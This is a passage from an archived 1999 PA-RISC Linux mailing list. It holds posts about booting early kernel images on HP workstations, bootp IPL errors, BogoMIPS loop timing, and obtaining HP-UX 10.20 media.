To: puffin <hppa-linux@thepuffingroup.com>, dmandachi@home.com
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Subject: [hppa-linux] booted w/ scsi iomega zip
Resent-Message-ID: <"vd36Z3.0.zG6.IKVvs"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/156
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: 655341f56db2cbd5b9d9d59dc9a8cc0b
Lines: 47
Xref: merlin.pcj.primenet.com palinux:127

howdy,

it worked!  BOOTED w/ SCSI Iomega ZIP on 712/100 (128ram) with the
bootstrap_3.bin 

here's the screen:


----------------------------------------------------------------------------

PARISC/Linux Bootstrap Version 0.1 (non-interactive)
By Jason Eckhardt
Built Tue Mar 9 16:40:43 CST 1999 by jason@bimbo

Reading parameters...done.
Size = 28672 bytes, entry = 0x00001000, location = 0x0001B000.
Loading kernel...done.
Transferring control to kernel.

*********************************************************

VMLINUX 0.0: Dummy kernel image loaded and executing!

It is now safe to reboot

It is now safe to reboot

It is now safe to reboot

It is now safe to reboot

It is now safe to reboot

It is now safe to reboot
/




thanks
phil g
browndog@home.com

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Schwan <pschwan@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PA-RISC Linux LXR / Bonsai
Date: Mon, 22 Nov 1999 15:59:38 -0500
Lines: 8
Approved: news@gmane.org
Message-ID: <19991122155938.I3543@thepuffingroup.com>
References: <19991122145353.H3543@thepuffingroup.com> <19991122200243.J31265@finlandia.infodrom.north.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618660 28536 80.91.229.3 (22 Nov 2014 01:11:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:00 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Martin Schulze <joey@infodrom.north.de>
Original-X-From: pschwan@burrow.puffingroup.com  Mon Nov 22 13:00:27 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA27410
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Nov 1999 13:00:27 -0700
Original-Received: (qmail 17533 invoked by uid 15267); 22 Nov 1999 20:02:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17522 invoked from network); 22 Nov 1999 20:02:11 -0000
Original-Received: from burrow.puffingroup.com (pschwan@209.151.0.76)
  by mailserv2.iuinc.com with SMTP; 22 Nov 1999 20:02:11 -0000
Original-Received: (from pschwan@localhost)
	by burrow.puffingroup.com (8.8.7/8.8.7) id PAA04689;
	Mon, 22 Nov 1999 15:59:39 -0500
X-Mailer: Mutt 0.93.2
In-Reply-To: <19991122200243.J31265@finlandia.infodrom.north.de>; from Martin Schulze on Mon, Nov 22, 1999 at 08:02:43PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:6484

On Nov 22, Martin Schulze wrote:
> Out of curiosity, where does http://insert.link.here/cvs.html point?

Woops.  Fixed.  http://www.thepuffingroup.com/parisc/cvs.html, for the
record.

-Phil


From - Thu Nov 08 21:11:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Al Smith" <Al.Smith@mail.tju.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP-UX 10.20 for free?
Date: Mon, 22 Nov 1999 15:53:38 -0500
Lines: 4
Approved: news@gmane.org
Message-ID: <H00004e90339c9c8@MHS>
References: <Pine.LNX.4.10.9911221942310.10075-100000@bastion.hugo.vanderko>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618660 28541 80.91.229.3 (22 Nov 2014 01:11:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:00 +0000 (UTC)
Cc: der_fisch@fischlustig.de, parisc-linux@thepuffingroup.com
To: Hugo.van.der.Kooij@caiw.nl
Original-X-From: Al.Smith@mail.tju.edu  Mon Nov 22 13:53:21 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA27937
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Nov 1999 13:53:20 -0700
Original-Received: (qmail 7423 invoked by uid 15267); 22 Nov 1999 20:55:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7392 invoked from network); 22 Nov 1999 20:55:03 -0000
Original-Received: from mail.tju.edu (147.140.146.25)
  by mailserv2.iuinc.com with SMTP; 22 Nov 1999 20:55:03 -0000
Original-Received: from localhost by mail.tju.edu with ESMTP; Mon, 22 Nov 1999 15:54:12 -0500
Original-Received: from hpmail1.tju.edu [147.140.134.203] by localhost, Mon, 22 Nov 1999 15:54:12 +0000
Original-Received: from localhost (root@localhost)
	by hpmail1.tju.edu (8.9.3/8.9.3) with SMTP id PAA23885;
	Mon, 22 Nov 1999 15:53:48 -0500 (EST)
X-OpenMail-Hops: 1
In-Reply-To: <Pine.LNX.4.10.9911221942310.10075-100000@bastion.hugo.vanderko>
X-Bad-Content-Type: text/plain; charset=US-ASCII; name="Re:"
Content-Disposition: inline; filename="Re:"
Xref: news.gmane.org gmane.linux.ports.parisc:6485

You are not getting the whole OS. You are getting patch's and updated apps..

-Al


From - Thu Nov 08 21:11:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress
Date: Mon, 22 Nov 1999 15:55:42 -0500 (EST)
Lines: 43
Approved: news@gmane.org
Message-ID: <199911222055.PAA01550@hiauly1.hia.nrc.ca>
References: <19991122193347.A1009@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618660 28543 80.91.229.3 (22 Nov 2014 01:11:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:00 +0000 (UTC)
Cc: Philipp.H.Rumpf@mathe.stud.uni-erlangen.de,
        parisc-linux@thepuffingroup.com
To: Philipp.H.Rumpf@mathe.stud.uni-erlangen.de (Philipp Rumpf)
Original-X-From: dave@hiauly1.hia.nrc.ca  Mon Nov 22 13:54:01 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA28038
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Nov 1999 13:54:00 -0700
Original-Received: (qmail 7911 invoked by uid 15267); 22 Nov 1999 20:55:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7898 invoked from network); 22 Nov 1999 20:55:45 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 22 Nov 1999 20:55:45 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id PAA01550;
	Mon, 22 Nov 1999 15:55:42 -0500 (EST)
In-Reply-To: <19991122193347.A1009@mathe.stud.uni-erlangen.de> from "Philipp Rumpf" at Nov 22, 99 07:33:47 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6486

> 
> > Missed this point because of the strange nop.  The current addib loop is 3
> > instructions.
> 
> It is ?
> 
> The way it looks to me is it is two instructions in the main loop.

My timing tests on a 735 indicate that the loop with two addib instructions
is only 25% faster than a loop with one addib and one nop.  You are correct
that there are only two actual instructions in the loop.  However, the timing
measurements indicate that the two addib loop stalls for one instruction
time.  Thus, effectively there is an extra nop in your loop.  As a result,
my comments re the BogoMIPS calculation below are correct for a 735 PA7100.
I think the stall is on the second addib when the forward branch is not taken.

> 
> > Alignment to a multiple of 16 should be good enough to
> > ensure that the loop lies within a cache line.
> 
> I agree.  Still, I like the CR16 based loop so much better.
> 
> > Also, re the BogoMIPS number, I think this should be (loops_per_sec*3)/2000000
> > (i.e., there is one addib and 0.5 nop instructions per loop when the
> > number of iterations is large.
> 
> Again, I disagree.  It is two addibs per loop.
> 
> > The number that is currently printed is
> > loops_per_sec*2/1000000.
> 
> We cannot go around and change it either.  It is in architecture-independent
> code.  (It's right, too.  If you have "branch if > 0" and "subtract one"
> instructions, the number of MIPS is loops_per_sec*2 (2 instructions per
> iteration) / 1000000 (the M part).

[deleted]

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hugo.van.der.Kooij@caiw.nl
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP-UX 10.20 for free?
Date: Mon, 22 Nov 1999 22:18:34 +0100 (CET)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9911222215540.1796-100000@bastion.hugo.vanderkooij.org>
References: <H00004e90339c9c8@MHS>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618661 28547 80.91.229.3 (22 Nov 2014 01:11:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:01 +0000 (UTC)
Cc: der_fisch@fischlustig.de, parisc-linux@thepuffingroup.com
To: Al Smith <Al.Smith@mail.tju.edu>
Original-X-From: Hugo.van.der.Kooij@caiw.nl  Mon Nov 22 14:09:54 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA28382
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Nov 1999 14:09:53 -0700
Original-Received: (qmail 16312 invoked by uid 15267); 22 Nov 1999 21:11:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16305 invoked from network); 22 Nov 1999 21:11:37 -0000
Original-Received: from mailserv.caiw.nl (194.178.9.133)
  by mailserv2.iuinc.com with SMTP; 22 Nov 1999 21:11:37 -0000
Original-Received: (from root@localhost) by mailserv.caiw.nl (8.8.5/8.6.12) id WAA07664; Mon, 22 Nov 1999 22:11:32 +0100 (MET)
Original-Received: from k3nw490.dial.kabelfoon.nl(195.193.25.235), claiming to be "bastion.hugo.vanderkooij.org"
 via SMTP by mailserv.caiw.nl, id smtpdAAAb07627; Mon, 22 Nov 1999 22:11:26 +0100
Original-Received: from bastion.hugo.vanderkooij.org (bastion.hugo.vanderkooij.org [192.168.100.254])
	by bastion.hugo.vanderkooij.org (8.9.1a/8.9.1) with ESMTP id WAA01817;
	Mon, 22 Nov 1999 22:18:34 +0100
X-Sender: hvdkooij@bastion.hugo.vanderkooij.org
In-Reply-To: <H00004e90339c9c8@MHS>
X-URL: http://www.caiw.nl/~hvdkooij/
X-Loop: Hugo.van.der.Kooij@caiw.nl
Xref: news.gmane.org gmane.linux.ports.parisc:6487

On Mon, 22 Nov 1999, Al Smith wrote:

> You are not getting the whole OS. You are getting patch's and updated apps..

Then why was I able to install from the CD's on my HP 715/33 that had no
OS at all?

Hugo.

-- 
Hugo van der Kooij; Oranje Nassaustraat 16; 3155 VJ  Maasland
hvdkooij@caiw.nl	http://home.kabelfoon.nl/~hvdkooij/
--------------------------------------------------------------
Use of any of my email addresses for unsollicited (commercial)
    email is a clear intrusion of my privacy and illegal!


From - Thu Nov 08 21:11:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Soto,  Gene G." <Gene.Soto@bakeroiltools.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] HP-UX 10.20 for free?
Date: Mon, 22 Nov 1999 15:10:57 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <BBAFD7A26E78D311834400805FEA1177ABF556@BHIHAWISS04>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416618661 28550 80.91.229.3 (22 Nov 2014 01:11:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:01 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Hugo.van.der.Kooij@caiw.nl, Al Smith <Al.Smith@mail.tju.edu>
Original-X-From: Gene.Soto@bakeroiltools.com  Mon Nov 22 14:16:15 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA28659
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Nov 1999 14:16:14 -0700
Original-Received: (qmail 19220 invoked by uid 15267); 22 Nov 1999 21:17:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19204 invoked from network); 22 Nov 1999 21:17:37 -0000
Original-Received: from gateway1.bhi-net.com (198.64.51.1)
  by mailserv2.iuinc.com with SMTP; 22 Nov 1999 21:17:37 -0000
Original-Received: from bhihawcon04.inteq.com (bhihawcon04.bhi.bhi-net.com [147.108.122.236])
	by gateway1.bhi-net.com (8.9.2/8.9.0) with ESMTP id PAA16741;
	Mon, 22 Nov 1999 15:12:50 -0600 (CST)
Original-Received: by BHIHAWCON04.bakerhughes.com with Internet Mail Service (5.5.2448.0)
	id <XKXWWCB5>; Mon, 22 Nov 1999 15:12:34 -0600
Return-Receipt-To: "Soto,  Gene G." <Gene.Soto@bakeroiltools.com>
X-Mailer: Internet Mail Service (5.5.2448.0)
Xref: news.gmane.org gmane.linux.ports.parisc:6488

I received the core os as well as the patches  and updated apps (6 cd's).
Problem is I no longer have the cdrom.  Anyone know if it would be possible
to ftp the data from my intel laptop to an external drive or to a dds tape
and install it from there?   I'm no hacker but can follow directions.

-Gene

	----------
	From:  Al Smith [SMTP:Al.Smith@mail.tju.edu]
	Sent:  Monday, November 22, 1999 2:54 PM
	To:  Hugo.van.der.Kooij@caiw.nl
	Cc:  der_fisch@fischlustig.de; parisc-linux@thepuffingroup.com
	Subject:  Re: [parisc-linux] HP-UX 10.20 for free?

	You are not getting the whole OS. You are getting patch's and
updated apps..

	-Al

	
---------------------------------------------------------------------------
	To unsubscribe: send e-mail to
parisc-linux-request@thepuffingroup.com with
	`unsubscribe' as the subject.


From - Thu Nov 08 21:11:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: magne@metis.spacetec.no (Magne Oestlyngen)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Fwd: Re: [parisc-linux] HP-UX 10.20 for free?]
Date: Mon, 22 Nov 1999 22:35:56 +0100 (CET)
Lines: 17
Approved: news@gmane.org
Message-ID: <199911222135.WAA07143@metis.spacetec.no>
References: <199911221822.KAA13945@opus.allegro.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618661 28553 80.91.229.3 (22 Nov 2014 01:11:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:01 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: sieler@allegro.com (Stan Sieler)
Original-X-From: magne@metis.spacetec.no  Mon Nov 22 14:34:39 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA29035
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Nov 1999 14:34:38 -0700
Original-Received: (qmail 29094 invoked by uid 15267); 22 Nov 1999 21:36:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29086 invoked from network); 22 Nov 1999 21:36:20 -0000
Original-Received: from metis.spacetec.no (192.51.5.180)
  by mailserv2.iuinc.com with SMTP; 22 Nov 1999 21:36:20 -0000
Original-Received: (from magne@localhost) by metis.spacetec.no (980427.SGI.8.8.8/950213.SGI.AUTOCF) id WAA07143; Mon, 22 Nov 1999 22:35:56 +0100 (CET)
In-Reply-To: <199911221822.KAA13945@opus.allegro.com> from Stan Sieler at "Nov 22, 1999 10:22:26 am"
X-Mailer: ELM [version 2.4ME+ PL54 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:6489

> > http://www.hp.com/visualize/programs/y2k/y2k_menu/y2k_upgr/oskit.html
> > Does anyone know if you can order this on the web / by email?
> The site mentioned above seems aimed at people on support contracts,
> although I'm not sure about that.

> I ordered my 10.20 upgrade via:
> http://www.software.hp.com/y2kupgrades/swp_upgrades.html
> And, you can do it online.

Only problem is that that's for series 800 servers, and I have a
series 700 (710) workstation.  ANd you can't select that. :-(


-- 
Magne stlyngen <magne@spacetec.no>
                <magne@skybert.org>


From - Thu Nov 08 21:11:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Cannot load IPL, error detected
Date: Mon, 22 Nov 1999 16:04:15 -0800 (PST)
Lines: 64
Approved: news@gmane.org
Message-ID: <199911230004.QAA03909@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=X-roman8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618662 28567 80.91.229.3 (22 Nov 2014 01:11:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:02 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Mon Nov 22 17:00:33 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA29852
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Nov 1999 17:00:33 -0700
Original-Received: (qmail 26407 invoked by uid 15267); 23 Nov 1999 00:02:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26400 invoked from network); 23 Nov 1999 00:02:18 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 23 Nov 1999 00:02:18 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.16.124.11])
	by atlrel1.hp.com (Postfix) with ESMTP id 7658A194D
	for <parisc-linux@thepuffingroup.com>; Mon, 22 Nov 1999 19:02:17 -0500 (EST)
Original-Received: (from grundler@localhost) by milano.cup.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id QAA03909 for parisc-linux@thepuffingroup.com; Mon, 22 Nov 1999 16:04:15 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:6490

Hi all,

I'm trying to boot via bootp and am getting the following error:

Main Menu: Enter command > bo alt
Interact with IPL (Y, N, or Cancel)?> n

Booting... 
Network Station Address 0060b0-dd9d80
System IP Address 15.16.124.10
Server IP Address 15.16.123.90

Boot IO Dependent Code (IODC) revision 2

Cannot find ENTRY_TEST.

Failed I/O operation with 
ENTRY_IO 
Status = -3

00000031 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
0000000E 00000002 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00430320 00000000 00000000 00000000 00000000 00000000 


Error Reading IPL

and then back to the command prompt.
This failed on both the A180 and 715/100.
715 reports "Cannot load IPL, error detected" instead.

Can I assume bootp found the right entry since it knew the IP addresses?
If so, then only the contents of Image aren't right.

What's changed?
I don't know if something my local copy of CVS is wrong or if something
in the CVS tree changed.

I've done:
	o cvs -z9 update -d
	o mv /linux/linux /linux/grundler/linux
		(so other folks using this build host know what's mine.
		this might be screwing me up)
	o find/rm all *.o and *.flags
	o make oldconfig/dep/Image
	o updated /etc/bootptab to reflect change in path name.
	o tried to boot - bootp server is same machine I build on.

(Sample /etc/bootptab entry:
ggg715:\
	hn:\
	sm=255.255.248.0:\
	vm=rfc1048:\
	ht=ether:\
	ha=0800095F7A88:\
	ip=15.16.124.10:\
	bf=/linux/grundler/linux/arch/parisc/boot/Image
)


thanks,
grant


From - Thu Nov 08 21:11:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Yaskowski <paul@jthm.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Fwd: Re: [parisc-linux] HP-UX 10.20 for free?]
Date: Tue, 23 Nov 1999 00:09:40 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <19991123000940.A31970@jthm.org>
References: <199911221822.KAA13945@opus.allegro.com> <199911222135.WAA07143@metis.spacetec.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618662 28590 80.91.229.3 (22 Nov 2014 01:11:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:02 +0000 (UTC)
Cc: Stan Sieler <sieler@allegro.com>, parisc-linux@thepuffingroup.com
To: Magne Oestlyngen <magne@metis.spacetec.no>
Original-X-From: paul@jthm.org  Mon Nov 22 22:08:08 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id WAA31269
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Nov 1999 22:08:07 -0700
Original-Received: (qmail 24601 invoked by uid 15267); 23 Nov 1999 05:09:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24591 invoked from network); 23 Nov 1999 05:09:48 -0000
Original-Received: from cx494587-b.wwck1.ri.home.com (HELO kyle.rigamer.com) (root@24.0.243.128)
  by mailserv2.iuinc.com with SMTP; 23 Nov 1999 05:09:48 -0000
Original-Received: from jthm.org (paul@jthm.org)
	by dont-drop-the-soap.jthm.org (8.9.3/8.9.3) with ESMTP id FAA55361;
	Tue, 23 Nov 1999 05:09:23 GMT
	(envelope-from paul@jthm.org)
Original-Received: (from paul@localhost)
	by jthm.org (8.9.3/8.9.3) id AAA32249;
	Tue, 23 Nov 1999 00:09:40 -0500
X-Mailer: none of your damn business.
In-Reply-To: <199911222135.WAA07143@metis.spacetec.no>
X-Disclaimer: opinions are mine alone, go die quietly.
Xref: news.gmane.org gmane.linux.ports.parisc:6491

  That's my problem as well, I have a 715/33 with 9.04.  I'd really
prefer to cold install 10.20 versus the heavily patching it route.  Any
links for this?

-Paul

% Magne Oestlyngen (magne@metis.spacetec.no) [11.22.99/17:10]:
: > I ordered my 10.20 upgrade via:
: > http://www.software.hp.com/y2kupgrades/swp_upgrades.html
: > And, you can do it online.
: 
: Only problem is that that's for series 800 servers, and I have a
: series 700 (710) workstation.  ANd you can't select that. :-(

-- 
I do desire we may be better strangers.
  -- William Shakespeare, "As You Like It"


From - Thu Nov 08 21:11:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gerhard Klein <G.Klein@edelmann.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Upgrade for HP3000/928LX to HP9000/8xx
Date: Tue, 23 Nov 1999 10:19:06 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <383A5C09.76A2A349@edelmann.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618662 28594 80.91.229.3 (22 Nov 2014 01:11:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:02 +0000 (UTC)
To: HP Linux <parisc-linux@thepuffingroup.com>
Original-X-From: G.Klein@edelmann.de  Tue Nov 23 02:18:37 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id CAA32513
	for <parisc-linux@puffin.external.hp.com>; Tue, 23 Nov 1999 02:18:33 -0700
Original-Received: (qmail 15126 invoked by uid 15267); 23 Nov 1999 09:20:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15077 invoked from network); 23 Nov 1999 09:20:11 -0000
Original-Received: from ns.edelmann.de (194.77.203.20)
  by mailserv2.iuinc.com with SMTP; 23 Nov 1999 09:20:11 -0000
Original-Received: (from mail@localhost) by ns.edelmann.de (8.8.8/8.6.9) id JAA07718 for <parisc-linux@thepuffingroup.com>; Tue, 23 Nov 1999 09:40:16 +0100
X-Authentication-Warning: ns.edelmann.de: mail set sender to <G.Klein@edelmann.de> using -f
Original-Received: from postbox.w1.edelmann.de(173.57.40.213) by ns.edelmann.de via smap (V1.3)
	id sma007716; Tue Nov 23 09:40:12 1999
Original-Received: from edelmann.de ([173.57.31.101] (may be forged)) by postbox.w1.edelmann.de (8.8.6 (PHNE_17190)/8.8.0) with ESMTP id KAA17904 for <parisc-linux@thepuffingroup.com>; Tue, 23 Nov 1999 10:19:31 +0100 (MET)
X-Mailer: Mozilla 4.51 [de] (WinNT; I)
X-Accept-Language: de
Xref: news.gmane.org gmane.linux.ports.parisc:6492

Hallo all,

some weeks ago there was a discusion about differences between
HP3000/xxx and HP9000/xxx. We have a HP3000/928LX. It's possible to
upgrade HP3000/928LX to HP9000/8xx (changing Bios or so). The problem
is, that HP doesn't sell the upgrade kit since a few month. Can anybody
help?

Thanks


Gerhard

--
http://www.edelmann.de
mailto:G.Klein@edelmann.de
Phone: +49 7321 340 368
Fax:   +49 7321 340 363



From - Thu Nov 08 21:11:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Cannot load IPL, error detected
Date: Tue, 23 Nov 1999 16:47:23 +0100
Lines: 78
Approved: news@gmane.org
Message-ID: <19991123164723.F1009@mathe.stud.uni-erlangen.de>
References: <199911230004.QAA03909@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618663 28597 80.91.229.3 (22 Nov 2014 01:11:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:03 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: prumpf@abacus.uni-erlangen.de  Tue Nov 23 08:44:21 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id IAA02842
	for <parisc-linux@puffin.external.hp.com>; Tue, 23 Nov 1999 08:44:20 -0700
Original-Received: (qmail 25094 invoked by uid 15267); 23 Nov 1999 15:46:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25080 invoked from network); 23 Nov 1999 15:46:05 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 23 Nov 1999 15:46:05 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Tue, 23 Nov 1999 16:46:01 +0100
Original-Received: (from prumpf@localhost)
	by abacus (8.9.3/8.9.3) id QAA02276;
	Tue, 23 Nov 1999 16:48:24 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199911230004.QAA03909@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6493

> Can I assume bootp found the right entry since it knew the IP addresses?

It looks to me like it might be hardware/network and I've seen similar
things happening here (where I suspect the flakey component is the network
card in my bootp server).

> What's changed?
> I don't know if something my local copy of CVS is wrong or if something
